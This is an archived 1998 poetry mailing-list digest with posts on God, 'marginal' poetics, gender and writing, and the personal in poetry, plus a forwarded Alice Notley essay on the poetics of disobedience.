What a frightening, and saddening thought.

I turned 44 today.

> *Spring is here, people. Whatever will ameliorate life it involves empathy and understanding. "Love has no pride", as Bonnie Raitt was singing the other day. God is neither male nor female, but spirit. Nor is God a respecter of persons, nor is God blind to oppression in any form. God has no wrath, as Isaiah puts it. Life is brief, art better be good. What's the point in complaining about the "quality" of the posts to the list? Just try to add something interesting yourself.*

"Love has no pride", is true enough, but I cannot say anything about "god". I would have to be completely agnostic about that, as I know of only the many human creations that they seek to dignify with that term. I also know that whatever that "god" that is so talked of is, it has never eased an ache of any kind, or met any need, or caused any passionate hope to be actualized, in itself and purely as a binary relation. Everything has been decisively and purely human, no matter how I look at it.

Morpheal

↑ Index

991. **Henry Gould**
god 44
Sun 29 Mar 1998

Happy birthday, Morpheal.

I just talk about God because it's so politically gauche on this list, where the main thing is to impress with your left critique in various ways. It's fun to slam & annoy people. Bumper cars.

Humans, as you say, do all the caring & loving - but the thought of God is like the thought of Nature & Purpose & all those aboriginal things - sometimes when nobody's around (like in the Frost poem) that's all that's left. (I'm just giving you the barest minimum.)

- Henry Gould

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992. **Keston Sutherland**
margin(-)alias
Sun 29 Mar 1998

Have to agree with Katy, that in fact so-called marginal poetics are hardly that, one of the surprises for a foreigner such as m/s hereabouts is the extent to which relatively innovative poetries are promulgated (Prynne's and Wilkinson's last books in the UK were both - even after their long careers and magnificent achievements - just stapled & xeroxed pamphlets, a hundred or two in each print-run). Not that this has much if anything uneconomic to do with that spectral enthusiasm re: 'transparent' vs. 'material' word-uses, what a load of baloney ultimately. But it's great here for young writers, there's a lot of contact and sharing - ever listen in on the British Poets list? If 'marginal' is, prior to obfuscating sketches of noble poetic tendencies, a real quality of verse rather than a kind of logo, I would be really interested to hear why (of course, some poetries are still strictly marginal, usually those which wouldn't consider themselves importantly characterized by this money-name).

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993. **Daniel Zimmerman**
Re: my penis
Sun 29 Mar 1998

Nada Gordon wrote:
>
> My Penis
>
> is bright and triangular.
> Physical fact and shape
> a persistent drumbeat
> adjectives cling up to:
> moist, clever, leafy, spoiled --
> anagrams of my real name
> like flowers bigger than the world:
> lineaments

> of gratified desire
>
> --nada

Nada,

this sounds exactly like my vagina! It also puts into question an observation by Camille Paglia: "Sex is metaphysical for men, as it is not for women."

Unlike Morpheal, I hear you on the drumbeat
& the Blakean O'Keefe:

a dragon nod!
add no organ:
go and adorn
(and do groan)
Nada Gordon

--Dan Dragoon

Dan Zimmerman

↑ Index

994. **Brian Clements**

Re: my penis

Mon 30 Mar 1998

Daniel Zimmerman said:

> *a dragon nod!*
> *add no organ:*
> *go and adorn*
> *(and do groan)*
> *Nada Gordon*

not to mention:

Dang Adorno!

BC

~~~
~~~

> *I dont think we in Canada are any more (& perhaps not less) under a tyranny than you down there in the good ol' US of A, & we do have gun laws. And I do think that ideology can be as controlling as any 'dictator,' at least in terms of maintaining a 'way of life.' Are US citizens really that much more able to defend their 'freedom,' & change governments than we in Canada? I dont think so: we're both 'ruled' by certain oligarchic forces which seem to have no problem maintaining their power, whether or not the so-called citizens, now known as 'consumers' etc, own a bunch of guns (I think the statistic for Arkansas was at least 3 guns per person).*
>
> *So it goes.*

I find this somewhat humourous. I am actually in Canada. In Canada I think there are enough weapons currently in the hands of citizens to quell any usurpation of power, if one occurred, even if a significant part of Canada's military forces joined with the usurpers to make it a coup d'etat. Not all of the military would join and add to that faction some armed citizenry, the siezing of power outside of constitutional and electoral means, is most likely currently impossible.

Actually, there is tendency among American military and ex-military, including reserves and ex-reserves, to keep firepower of their own on hand. I would not want to say that on the public listserv because that might cause someone to go after someone else's stockpile. It is not so openly discussed. There is a healthy sense of paranoia of the government and of any possible abuse of power by the military, particularly among many of those who have been in it. Therefore the unofficial militia tends to always be prepared. Most of those who are miltarily trained, would, I believe, be ready to use their weapons against their own government's use of oppressive, unconstitutional, force, if that government acted sufficiently outside of the laws that govern its actions, in ways that were convincing that power had been usurped and was being maintained by illegal means such that there was no other recourse.

One of the mysteries of America, but one best kept under one's hat and not spread around too much.

regards,
Bob Ezergailis

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996. **Thomas Bell**
Re: The Personal in Poetics (fwd) (fwd)
Mon 30 Mar 1998

Worth a response on both lists certainly even though I do not have a great deal to add as I share your puzzlement at the reticence. I do think it is cultural and

possibly it bears some relation to the gender issue. As noted by someone earlier the personal does not always reflect the general when talking about gender issues - I live in an all-female house but feel that I am much more open t o honest expression of feeling than any of them.

As a psychologist, I am tempted to say that the reticence you note has a lot to do with fear - someone who avoids touching on the p3rsonal actually reveals more about themself. However, as a poet I'm pretty sure it has to do with a distrust of our current language usage's ability to convey feeling without lapsing into hollywood bathos.

At 11:01 PM 3/29/98 EST, Michael McColl wrote:
>Cap-l may be baffled by what I mistakenly sent them; frankly, I'm kind
>of dreading to go back there now. Anyway, readers, this was for you--
>
>
>----------Original message----------
>Return-Path: <[redacted]>
>Received: from TEMPLEVM (NJE origin [redacted]) by VM.TEMPLE.EDU (LMail
> V1.2b/1.8b) with BSMTP id 0839; Sun, 29 Mar 1998 22:21:11 -0500
>Received: from mail.virginia.edu (128.143.2.9) by VM.TEMPLE.EDU
> (IBM VM SMTP V2R3) with TCP; Sun, 29 Mar 98 22:21:10 EST
>Received: from Virginia.EDU by mail.virginia.edu id aa21611; 29 Mar 98
22:15 EST
>Received: from node6.unix.virginia.edu by mail.virginia.edu id aa21574;
> 29 Mar 98 22:15 EST
>Received: from localhost ([redacted]) by node6.unix.Virginia.EDU
> (8.8.5/8.6.6) with SMTP id WAA97384 for <[redacted]>; Sun, 29 Mar 1998
> 22:15:45 -0500
>Date: Sun, 29 Mar 1998 22:15:45 -0500 (EST)
>From: Dawn McCarra Bass <[redacted]>
>To: [redacted]
>Subject: The Personal in Poetics (fwd)
>Message-ID: <[redacted]>
>MIME-Version: 1.0
>Content-Type: TEXT/PLAIN; charset=US-ASCII
>Precedence: bulk
>
>
>
>
>---------- Forwarded message ----------
>Date: Sun, 29 Mar 98 18:14:41 EST

>From: Michael McColl <[redacted]>
>To: [redacted]
>Subject: The Personal in Poetics
>
>While the question of the personal on the list is being discussed,
>I thought I might ask about what seems like a contradiction to me:
>in the earlier discussion of depression there was quite a bit of
>personal disclosure, credit given to those who had made these
>disclosures; there was an assumption that personal experience brought
>with it a valuable kind of authenticity. The recent discussion is too
>fresh to require summing up. My question is this: why is it that when
>poetry is discussed the personal often seems in some way proscribed.
>Someone spoke of Robert Hass's "embarrassing honesty." Others have
>"cringed" at emotional revelations in poetry. Ted Hughe's work (which
>I have no interest here in defending) was criticized for employing
>
>language as a transparent medium, and for being based on the self
>as unitary rather than perfomative.(Now, the selves who suffered from
>depression did not sound performative to me, but I might be trying
>to grasp this on the wrong register.) But I gather that the prevailing
>poetics of this list would seem to rule out most of what has been termed
>"personal" as being unacceptable in poetry. If scores of examples to
>the contrary spring to everyone's mind, that's fine. My question is
>typed here without a great deal of planning--that's how I use email.
>I'm not trying to be airtight in any kind of logic. In any case, I
>would like to get some takes on the way the personal appears or doesn't
>
>
>
>appear in most experimental poetry, and why.
>
>Mike McColl
>
>

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997. **k. lederer**
Re: Guns, gender, children, crusades
Mon 30 Mar 1998

Hi Linda--

Thanks for clarifying your earlier post--

My response was not meant to be polemical--I was just having trouble reading your tone--

(I think both you and Rachel sometimes use a kind of happy-go-lucky light tone when speaking of "serious" matters--I, of course, have no sense of humor whatsoever!)--

---

I myself wish to clarify something as well--

I don't think I'm on any kind of crusade.

And I'm not "calling for more writing and publishing by women."

Rather, I feel that if a woman (or man or whoever) WANTS to write, or WANTS to publish, then they shouldn't feel that their gender is a hinderance to this--

In other words, if someone wants to keep their writing private, that's their decision. But if they are "afraid" to show their work to others--or to write that work in the first place--because they are intimidated by a real or imagined response to their gender, then that's lame.

That's all I'm saying.

Also: as to the persistent insistence that discourse IS reality--that I'm trying to draw some sort of false distinction between the "real" and the "discursive"--

(I mean gee, I've done my homework--read Derrida, Foucualt, etc....)

I feel that there is a point at which discursivity as a descriptive term loses its edge--

In other words--when terrible events happen, I don't always feel that it's helpful to speak of discourse. The reason for this is that dicourse is by nature rhetorical--and rhetoric can be abused.

If someone is raped, for instance, I find it risky to speak in terms of larger discourses as they lead up to or away from this event (I believe in events). If discourse is foregrounded here, then I think it detracts from the ontological immediacy of what happened.

Call me a phenomenologist, but whatever....

To say that "everything is discourse" in my view is like saying that "everything is fate"--or "love"--or "truth"--or "terrific." It doesn't help me out in a jam--

---

I like your characterization of Rachel as, perhaps, a creature not wanting to be "perceived"--I like that a lot. Rachel?

Yours,
Katy

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998. Miekal And
muse margin(-)aliasalia
Mon 30 Mar 1998

now here's a term to sink our teeth into, even more innuendo than experimental, I always thought marginal meant: undiscovered, too weird to be the real thing, outside the status politic, or perhaps subtextual to the "real" discourse. but then, come to thinnkk of it, some of my best writing, is the writing in the margins....or I picture books that only have text printed in the margins, with the "page" left bare.

misha apostrophe

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999. Beth Joselow
writing and family
Mon 30 Mar 1998

Brava to Nada Gordon for her lucid post(s) and her fiercely rooted stance. As much as I am aware of gender limits, and have worked to defeat them, I must say that family is not necessarily one of these. I have raised three kids for the past 24 years and have written and published all that while. During some of that time I was single. My model was my father, who said to me many times when he saw me writing as a child, "don't do what I have done-- don't ever find an excuse for NOT writing. You do not need a perfect place or a perfect condition." His "excuse" had been that he had to make a living for his family. Yes, it's difficult to find time, money, space to write. For all of us. ***----***----***----***----
Say It With Words

Beth Joselow
[redacted]
voice: 202/[redacted]
fax: 202/[redacted]
2927 Tilden Street NW
Washington DC 20008

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1000. **sarah venart**

Re: POETICS Digest - 28 Mar 1998 to 29 Mar 1998

Mon 30 Mar 1998

In repsonse to Mr. Don Byrd 's comment: "I was out of town for a couple of weeks and was set to nomail. I have been back now for a week. I'll admit I have found the discussions extraordinarily dreary. The "issues" have been of the kind that inevitably, perhaps necessarily, evoke _prescribed_ responses. It is not a personal fault: to engage them at all is to assume a stereotyped posture: bad-ass renegade, enforcer of righteousness, weak-kneed liberal; I am dangerously close to being a pretentious voice of community good-sense, etc."

1. First of all, there was nothing presecribed in last weeks responses. I resent that, because I was one of those responses. There were no sereotypes, only individuals repsonding. Maybe you group people under labels, but I try not to. Awwwwwww.... maybe you felt left out?

2. I am on the list, have spoken once (sigh....no one said much except for some snide commentsabout a pot holder in a printer, which promptly shut me down) however, after yesterday's comments about the dreariness of the last week of posts, I am likely pot-boiling, not pot holding. Comments such as these are just so depressing when I was actually enjoying what I was reading -- so many interesting stories and attitudes (the woman who built a room in her own back yard, the "woman-in-court" jury story that I felt was contentious and the responses to which were varied and assertively 'male-trying-to-be-pro-feminist-and-angry-for-not-being-praised-as-such' (this is just my take, but I am not condemining so much as commenting that I was enjoying the different view points... good thinking material all in all). What does Mr. Byrd's comment about not writing what has already been written say about anything really? Everything has been said, we only make it different by bringing anything -- criticism, poetry, art -- into our lives and illuminating it and MAKING IT NEW through our own individual take on... whatever. (I am typing madly before running off to class, so please forgive any errors, grammatical or othewise). 2. Now this sort of sweeping generalization about the posts, along with that terrible series of percentages on female vs male vilence were just... sigh... what am I doing tapping into this unpoetic... oh I don't know... agrh! (There! a 'shrill' uncontolled woman fer you!). So I am signing off from Canada now. And Mr. Byrd: Plougshares, not pens (penises?... sorry , I couldn't resist), are the answer -- sorry, but most people don't have time to sit atop a wordsworthian hill and spout poetry in third world counties -- I don't even have enought time to do it!

Sarah Venart
Concordia University
Montreal, Canada

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1001. Michael J. Kelleher
Reading
Mon 30 Mar 1998

---

just buffalo
Writers at Work Series
presents

Ted Pearson
&
Elaine Equi

Sunday, April 5 @ 2 p.m.

at Hallwall's
2495 Main St.
Buffalo

<HTML>
<B><I>just buffalo</I></B>

Writers at Work Series

presents

<P>Ted Pearson

&

Elaine Equi

<P>Sunday, April 5 @ 2 p.m.

<P>at Hallwall's

2495 Main St.

Buffalo</HTML>

----------6A8B970A293A97B82D62490F--

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1002. SSSCHAEFER
Re: Guns, gender, children
Mon 30 Mar 1998

Katy:

Thanks for your thoughtful reply. I hope you are right that experimental writing is having the influence that you say it is. All I know is that it isn't on the shelves around here. Nor were people taking it seriously when I was getting my MFA. As for whether class is a clumsy term, certainly. In a zillion ways.

However, I do think that it effects the actual look of certain poems. And gender may as well, but aside from sort of dull historical studies that I've read, I don't see this currently. I don't "see" it and would like to have it pointed out because I like a number of women writers and often don't understand them. Part of the allure.

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1003. **SSSCHAEFER**
Re: Guns, gender, children
Mon 30 Mar 1998

Linda:

Yes, if you spoke to me of how being a woman effects your poetry you would be answering my questions. As for your various successes in finding my "narratives" I can only say that while I agree whole-heartedly that I used that language, I was doing so because I think those narratives are practiced, played out. Is all. Perhaps not by anyone on this list. But I certainly wasn't trying to accuse everyone of having an agenda.

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1004. **k. lederer**
Re: Guns, gender, children
Mon 30 Mar 1998

I'm going to go out on a limb here--as per what seems like a popular request--and talk about how I think being a women has affected my actual poems--and my poetic practices.

I don't think that there is much that could in any way be called "essential" about "women's" poetry--

I think that most perceived differences are the result of cultural factors--not "natural" ones per se.

I do think, though, that a good place to start is with something that Alice Notley said in an essay Anselm Berrigan posted to this list two weeks ago. In that essay, entitled "The Poetics of Disobedience," Alice pointed out (and in a way more forceful than I can do here) that there does in fact seem to be a strange absence of pregrnant bodies and babies in poetry--

Has anyone else ever noticed this?

Again, this is primarily cultural--why is poetry about babies and pregnancy taken less seriously than poetry about kings and drinking and thinking and history?

This is just one example--but it does seem to be question that arises only when more women begin to write.

I'm not saying this is essential to women's writing--it is, rather, discursive, in my view.

So what about the discourse of poetry makes poems about babies and ruffles seem garrish or precious?

What about the discourse of poetry discourages what Tannen characterizes as women's more cooperative mode of conversation.

As in: there are a lot of ways to talk about the connection between actual poetry and the creatures who write it (male or female) without essentializing.....

I have been trained to avoid the passive in writing.
I have been trained to avoid the precious in writing.
I have been trained to appreciate a tradition comprised of, like, all men.

This doesn't mean that all of the history of poetry is "by nature" male or masculinist, but it does seem to present some historical problems such as "no babies" "no pregnancies" "no physical births"--

It also may have something to do with the injunction against passive writing.

It also may have something to do with the notion that great writers are also great "thinkers"--

That a great poet is someone like Olsen or Ginsburg or O'Hara--people who led very peripatetic lives.

The traditional model seems to privelege the wandering poet--the unattached poet--the drunken poet?

I think that being a female writer, at least for me, has forced me to call this model into question.

These sorts of narratives, in my view, are what at least I'm talking about when I claim a connection between being a woman and the writing I produce as such.

I'm not saying,"gee, I'm flush with female hormones, so I must then write, like, fluffy things" or something. I'm simply saying that there is a connection between female narratives and at least my poetry.

Yours,
Katy

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1005. **Michael McColl**
Re: muse margin(-)aliasalia
Mon 30 Mar 1998

On Mon, 30 Mar 1998 09:20:56 +0000 Miekal And said:
>now here's a term to sink our teeth into, even more innuendo than
>experimental, I always thought marginal meant: undiscovered, too weird
>to be the real thing, outside the status politic, or perhaps subtextual
>to the "real" discourse. but then, come to thinnkk of it, some of my
>best writing, is the writing in the margins....or I picture books that
>only have text printed in the margins, with the "page" left bare.
>
>
>misha apostrophe

In art I'm a miniature abstractionist (my hands are normal size though) and when I'm reading and need to mark one of those "good points," all that really matters to me is the margin being just the right size, and the paper the right texture for the pen I'm holding. But when I cut the page out of Derrida's "Structure, Sign, and Play" to frame and show and get famous, anxiety rose, and that night my blankets were cold crackling paper. Preserved within a biography of Theodore Roethke are my best works of the year 1985 (this for the catalog essay). And my hands are warm and wet with newspaper ink, my language transparent. MM

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1006. **Keston Sutherland**
Re: Guns, gender, children
Mon 30 Mar 1998

> *All I know is that it isn't on the shelves around here.*

but this is a limited measure, referring only (really) to money and hardly fit to determine a poetry's character; you'd not find Lyly, Akenside, Young, Campion, Thomson, Bowles, Churchill, Cibber, Waller or even Skelton or Bunting on many shelves, this is not by any significant necessity a measure of their marginality, it just depends whether you're in the know and if so which knows it is you're in. Thomson eg was the most popular and well-read poet of his age. There are qualities in verse which can be internally perfected even while socially latent; not every characteristic depends on discovery in order to matter.

not being on the shelves is, I think, too readily a keyphrase to a vaguely leftist fetishism, the default arousal of which serves principally to obscure real differences and commitments. Maybe.

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1007. **k. lederer**
disobedience (fwd)
Mon 30 Mar 1998

Originally posted by Anselm Berrigan:

This is a paper/essay given recently at a British poetry conference by Alice Notley upon being asked to write on her poetics. I think it carries some threads relevant to topics discussed recently:

The Poetics of Disobedience

by Alice Notley

For a long time I've seen my job as bound up with the necessity of non-compliance with pressures, dictates, atmospheres of, variously, poetic factions, society at large, my own poetic practices as well. For a long time -- well in fact since the beginning, since I learned how to be a poet inside the more rebellious more outlawish wing of poetry; though learning itself meant a kind of obedience, so like most words the Dis words, the Dis form, cannot be worshipped either -- and that would be an obedience anyway. I've spoken in other places of the problems, too, of subjects that hadn't been broached much in poetry and how it seemed one had to disobey the past and the practices of literary males in order to talk aboutwhat was going on most literarily around one, the pregnant body, and babies for examples. There were no babies in poetry then. How could that have been? What are we leaving out now? Usually what's exactly in front of the eyes ears nose and mouth, in front of the mind, but it seems as if one must disobey everyone else in order to see at all. This is a persistent feeling in a poet but staying alert to all the ways that one is coerced into denying experience, sense and reason is a huge task. I recently completed a very long poem called Disobedience but I didn't realize that disobeying was what I was doing, what perhaps I'd always been doing until the beginning of the end of it, thought the tone throughout was one of rejection of everything I was supposed to be or to affirm, all the poetries all the groups the clothes the gangs the governments the feelings and reasons. I seem to start with my poem The Descent Of Alette these days, whatever it is that I am now seems to start there. It was for me an immense act of rebellion against dominant social forces, against the fragmented forms of modern poetry, against the way a poem was supposed to look according to both past and contemporary practice. It begins in pieces and ends whole, narrated by an I who doesn't know her name and whose name when she finds it means appendage of a male name; her important name is I. I stand with this, and with the urgency that saying I creates, a facing up to sheer presence, death and responsibility, the potential for blowing away all the gauze. In two

subsequent narrative poem/proses, Close to me...& Closer (The Language of Heaven) and Desamere I felt myself pushing against ideas of reality as soley what's visible and in what shapes and colors it's said to be visible, against the idea that religion is solely an organized affair, against the pervasive idea that one must not protest what everyone else has named the Actual -- how can you fight Reality? -- against the psychology of belonging, of aiding and abetting. Desamere especially is about not wanting to belong and the process of cesing to belong to the extent that's possible. All three of thoseworks are characterized by emphatic though variable metrical patterns, in the prose as well as the poetry parts; two are very quirky as to physical presentation; all three have narratives that tend to the fabular. In a book that will soon be published, Mysteries of Small Houses, I was firstly trying to realize the first person singular as fully and nakedly as possible, saying "I" in such a way as to make myself really nervous, really blowing away the gauze and making myself too scared of life and death to care what anyone thought of me or what I was going to say. Saying I in that way I tried to trace that I's path through my past. In a more subsidiary way I decided to go against my own sense that certain styles and forms I'd participated in formerly might be used up, that autobiography was, that the personal-sounding I (as opposed to the fictional I) might be, against the rumor that there's no self, though I've never understood that word very well and how people use it now in any of the camps that use it pro or con -- I guess I partly wrote Mysteries in order to understand it better. I came to the conclusion, in the final poem of the book, that self means 'I' and also means 'poverty,' it's what one strips down to, who you are when you've stripped down. It's possible that my biggest act of disobedience has consistently, since I was an adolescent, been agianst the idea that all truth comes from books, relaly other people's books. I hate the fact that whatever I say or wrote, someone reading or listening will try to find something out of their reading I "sound like". 'You sound just like...' 'you remind me of...' 'have you read...?' I read all the time and I often believe what I read while I'm reading it, especially if it's some trashy story; intense involvement in theories as well as stories seems difficult without temporary belief, but then it burns out. I've been trying to train myself for thirty or forty years not to believe anything anyone tells me. Not believing, the, became th crux of Disobedience, which is my most recent completed book. Not believing and telling the truth as it comes up. One of the main elements in the poem is an ongoing fantasy in which the I, who is pretty much I, keeps company and converses with a man very much like the actor Robert Mitchum and that of course is not strictly believable. On the other hand it's fun, and it stands for something a sort of truth, about how we do have stories going on in our consciousness and unconsciousness all the time and about how we're always talking to some "you" mentally. I wouldn't expect you to take this book as the truth, I would expect you to go with it, given that you like to read. I find the act of reading puzzling at

the moment, since in a book I've been working on since Disobedience I ask the reader to read despite the fact that I'm not really entertaining the reader or being clear in any of the traditional ways I can think of. I think books may imply a readership that simply likes to read, which may sound obvious but it's something I myself have only just thought of. But back to Disobedience. It asks the reader to read a lot of pages, about 230 A-4 pages in verse, but it's fairly easy to read and it makes a lot of jokes. I't's very feminist but men seem to enjoy it a lot, it possibly contains a rather virile approach to things riding roughshod and shooting at every little duck that seems to pop up. As I implied earlier, Disobedience didn't exactly set out to be disobedient; it set out actually to try to do the kinds of things I'd previously done in differnet poems all in the same poem, that is tell a story, interact with the so-called visible or phenomenal the despised daily, and explore the unconscious. But it got more and more pissed off as it confronted the political from an international vantage, dealt with being awoman in France, turning fifty and being apoet and thus seemingly despised or at least ignored. The title popped up in a dream, a real dream I had towards the end of writing the work, in connection with a comic poet I know: it was the title of his book in the dream and I realized later that there was probably nothing more disobedient than being a comic poet, since no one's ever sure if that's good enough, particularly the academy unless you've been dead since the 14th century or unless you've also written a lot of tragedies. I myself wouldn't want the limitation of being only one kind of poet, but I realize this comic business is something to think about. But more and more as I wrote Disobedience I discovered I couldn't go along, with the government or governments, with radicals and certianly nor conservatives or centrists, with radical poetics and certainly not with other poetics, with other women's feminisms, with any fucking thing at all; belonging to any of it was not only an infringement on my liberty but a veil over clear thinking. It's necessary to maintain a stae of disobedience against...everything. One must remain somehow, though how, open to any subject or form in principle, open to the possibility of liking, open to the possibility of using. I try to maintain no continuous restrictions in my poetics except with regard to particular works, since writing at all means making some sort of choices. But NO DOCTRINES. Rather I tend to maintain a sense that a particular form or sets of rules at a certain point might serve me for a while. Like may writers I feel ambivalentabout words, I know they don't work, I know they aren't it. I don't in the least feel that everything is language. I have a sense that there has been language from the beginning, that it isn't fundamentally an invention. These are contradictory positions but positions are just words. I don't believe that the best poems are just words, I think they're the same as reality; I tend to think reality is poetry, and that that isn't words. But words are one way to get at reality/poetry, what we're in all the time. I think words are among us and everything else, mingling, fusing with, backing off from us and everything

else. Since Disobedience I've been working on this other thing which isn't as friendly as Dis is, though it isn't meant to be unfreindly. It's just hard to read, in that you have to decide to sit down and read it word by word giving each word the rhythm and weight it requires. Taht sounds like poetry but this one tends to be long in blowy sentences all down the page. I am going at several ideas at once: one is that the world is intensely telepathic, infused with the past and continual thought of all the living and all the dead. I started out with that idea adn with the idea of a Byzantince church as a sort of head, mine, full of icons and mosaics on ever expanding and shifting walls. But the church or head got bigger and bigger and more and more full of images and words until it expanded into a city. So at the moment, on page one hundred and something, I'm dealing with the idea that there are tow cities or worlds at the same time, an ideal crystalline one and the supposedly real one. Generally I'm neither all the way in one nor the other, though sometimes it seems as if I'm nowhere near the crystal one and its resonable opulence so I start beating hard at all the doors I can find in my mind. Then sometimes it seems as if the supposedly real world just isn't there or here at all though I know if I stop typing and go outside it will get me. This work is also very disobedient, in a way it picks up where Disobedience left off; but it doesn't lecture as much or shake its fist so, is less interested in the so-called real than in denying its existence in fafor of the real real. You can't fly unless you're not on the ground and this one really flies sometimes.
I think I conceive of myself as disobeying my readrship a lot. I began the new work in fact denying their existence; it seemed to me I needed most at this point to work on my own existence so I couldn't afford to cater to them if they got in the way of my finding out things. But this is a work of mine, it should be published sometime. I'm now in a predicament I can't get out of, a form I can't manage for the reader, which just keeps leading me on and leading me on. It's predicated on leaving in as much mind fuzz as possible, that is being open to all that it out there in telepathy -- not a very organizeable entity, the entity. Too wordy, too long; and I've allowed in a lot of notions from my dreams again, have allowed odd images to take on the weight of truth; and I'm stubbornly involved again in what you might call mystical conceptions, but aren't those a nono? Except in icky New Age territory, yuck. The reader likes you to tell him/her what he/she already knows in a fmailiar form whether in mainstreamese or avant-gardese, but then there is the individual reader who is often not like that at all, who prefers poems to talking about them and has strange individual experiences with them. That's a very scary idea. It's possible that the reader, or maybe the ideal reader, is a very disobedient person a head/church/city entity her/himself full of soring icons and the words of all the living and all the dead, who sees and listens to it all and never lets on that there's all this beautiful almost undifferentiation inside, everything equal and almost undemarcated in

the light of fundamental justice. And poker-faced puts up with the outer forms. As I do a lot of the time but not so much when I'm writing.

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1008. **Keston Sutherland**
critters
Mon 30 Mar 1998

---

maybe an interesting thread - what -are- the poems about babies, or in which babies figure cameo-wise? They do always seem to be pretty strategic, occasions for abstruser musings as is Coleridge's in 'Frost at Midnight'.. Larkin crapped out a fairly dour bit re: Kingsley Amis' new bairn. Actually Prynne has a few concerns swimming about in his new _For The Monogram_ (BUY), there's a line (if I recall) something like:

Lactation adds up to just this, sorted fashion cribs.

also in _Her Weasels Wild Returning_ (nicely mentioned in William Fuller's new book), "saving the infant a place ahead in her mission grab to repair both."

Doug Oliver's _The Infant and the Pearl_? _Pearl_? There's the narrative in book nine I think it is, in The Prelude, where the young Frenchman dashes into an outlawed pregnancy and attempts to rear the babe as a hermit, a nice scene where he lays his cheek on the mother's breast as she feeds the baby with the other (breast). But this is male-eyed. Aaron the evil moor plus his near-murdered nipper in _Titus Andronicus_. Pregnant women and women with babies are made variously festive in Sade's _Juliette_. Lynch's _Eraserhead_. Mary. And what about nurses? Nannies? There's a strong and fascinating tradition of nurse intervention in drama - Romeo and Juliet, Euripides' _Medea_ and _Hippolytus_, Racine's _Phedre_ (Seneca's Phaedrus), Mary Poppins, k

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1009. **morpheal**
Re: disobedience (fwd)
Mon 30 Mar 1998

> *The Poetics of Disobedience*
> *by Alice Notley*
>
> *For a long time I've seen my job as bound up with the necessity of non-compliance with pressures, dictates, atmospheres of, variously, poetic factions, society at large, my own poetic practices as well.*

I think there is that element in it, to some amount having some effects on all poets. Some of the strands of thought, on that same subject, that I have come upon, run roughly as follows.....

Poetry, by its very nature, is always considered to be disobedient, by some. It is often considered, by some, to be irresponsible use of language. Prose, on the other hand, is deemed more business-like in its demands and its declarations.

Prose is considered less emotional, even when it makes statements about emotions. Poetry is considered more emotional, even when it is not about emotions. This might be a false perception, but it is a common perception as to the prosaic and the poetic.

Emotions are not business-like, not conducive to calculative precision, and that some believe that all emotions ought to be eradicated, tends to transfer the same attitude toward poetics. Particularly towards romantic poetics, as opposed to political or philosophical poetics.

Prose tends to follow more clearly defined and definable grammatical and syntactical regulations much more closely. At least it appears to do so, to many, sometimes overly simplistic, viewpoints. The regulations defining what constitutes a proper sentence of prose are relatively easy to communicate compared to the very complicated requirements as to a line of good poetry.

Prose viewed as a technical, applied, science, and poetry as an art.

Prose tends to be viewed, by some loud voices, as more appropriately pragmatic, whereas poetry is then denied that fundamental characteristic of the word used as short declarative sentence of command and acknowledgement of command.

Prose is, to some ways of thinking, more apparently technical, and claims a precision of meaning that it often lacks. Poetry is denied a greater precision of meaning that it often actually has. If prose is a work horse, then poetry is a wild stallion or a wild mare.

Prose is viewed as integrative and poetry as dis-integrative. Some tend therefore to associate prose with sanity and poetry with insanity.

Prose can be viewed as totalistic and closed, whereas poetry could be viewed as being more anarchic and open. Some see that as dis-favourable.

Prose more often follows the line, fills the space from clearly prescribed margin to clearly prescribed margin. Poetry breaks up the space more randomly, and declares itself opposed to such clearly prescribed margins. Poetry often defies punctuation.

Some believe that prose tends to be more explicit and so vouchsafes more carefulness in saying, and occults certain ideas that they feel ought never to be spoken of. Poetry, on the other hand, is believed to tend to reveal by means of implication, allusion, and indirectly. While in fact prose might do similarly, and

often does, the false perception as to the Luciferian nature of poetry as opposed to prose is a strata in the tradition.

More prose tends to maintain the most common usage, for the more common purposes, and therefore is often more conservative. Poetry tends to push a word to the limits of its meaning, and stretch the boundaries of what is sayable. Prose often imposes silence, whereas poetry often gives voice.

I am sure there are more and similar observations of various attitudes. Some held as cherished beliefs only by a very few, and some more widely held to as being true, even if many such are purely subjective prejudices....

Morpheal

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1010. **Michael McColl**

Re: Guns, gender, children

Mon 30 Mar 1998

Katy--Belle Waring in Dark Blonde has very explicitly physical stuff about birth--and doctors who fuck up in a shocking way. It's in a kind of documentary mode, though, and *as poetry* would probably be rejected by most people on this list as too traditional. I think the appearance of certain subject matter tends to correlate with a use of language seen as not always problematic in the way it represents the world. Yet had her language been opaque, references cryptic, she oculd not have accomplished a very powerful occupation and domination of cultural space formerly denied to her. I understand the ex- tensive and persuasive rationale(s) for various experimental poetries; I appreciate the rationales and I write the poetry. But I've sometimes

disagree with what has seemed like a strict proscription of content understandable in the usual way--as if to say that experimental poetry is the only poetry that has validity, that other uses of language in poetry are inevitably naive and retrograde. Which has seemed odd to me since in discussions of this sort various discourses and language games are used as though they work, at least provisionally or on an ad hoc basis---the way more traditional poetry is also written.

MM

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1011. **Gabriel Gudding**

The personal -- A Hx

Mon 30 Mar 1998

Responding to McColl's query about the personal in contemporary poetics. There are some, like, pretty clear historical reasons why the personal is no longer in vogue. There are also many more very unclear but slightly discernible and sometimes comprehensible reasons for this -- but as to whether they can be quickly/easily articulated here is another Q. I'll give it a shot.

The guy who "started" the first creative writing programs back in the 1920s, Hughes Mearns, insisted that creative writing -- and poetry especially -- was the best means of, as he put it, "transmitting experience" from individual to individual. (See his two books of, I think 1925 and 1929, _Creative Youth_ and _Creative Power_). His assumption (which was basically a misprision of Deweyean social theory) was that we are each an isolato. Certain cultural trends in America toward the end of the 19C had seriously impacted and drasticallly altered the ideas Americans had held about language and civic life, and these, coupled with some poor readig of Dewey, led Mearns to hold some very weird and very interestig ideas. And for reasons that aren't really clear, Mearns gave _poetry_ -- much moreso than prose -- the dubious honor of carrying this cross of the personal (the historical reasons for this are so numerous and many-sided that it, like, makes my head spin). Anyway, the point is that since Mearns (whose progressivist influence on national public education was in many ways as strong as, well, Horace Mann's), the personal in poetry has taken flak for becoming on the one hand Solipsistic (see everybody here from dear old Fred Chappell to, I don't know, the mandarin rantings of Derek Walcott) and on the other Passe (been there, done that, time to move on, let's let Berryman be Berryman and Berrigan be Berrigan -- and the, like, tropes of personal sincerity are exhausted anyway etc etc). So, in the eyes of some, then, "personal," as a historical cultural and poetic contruct has, like, had its day.

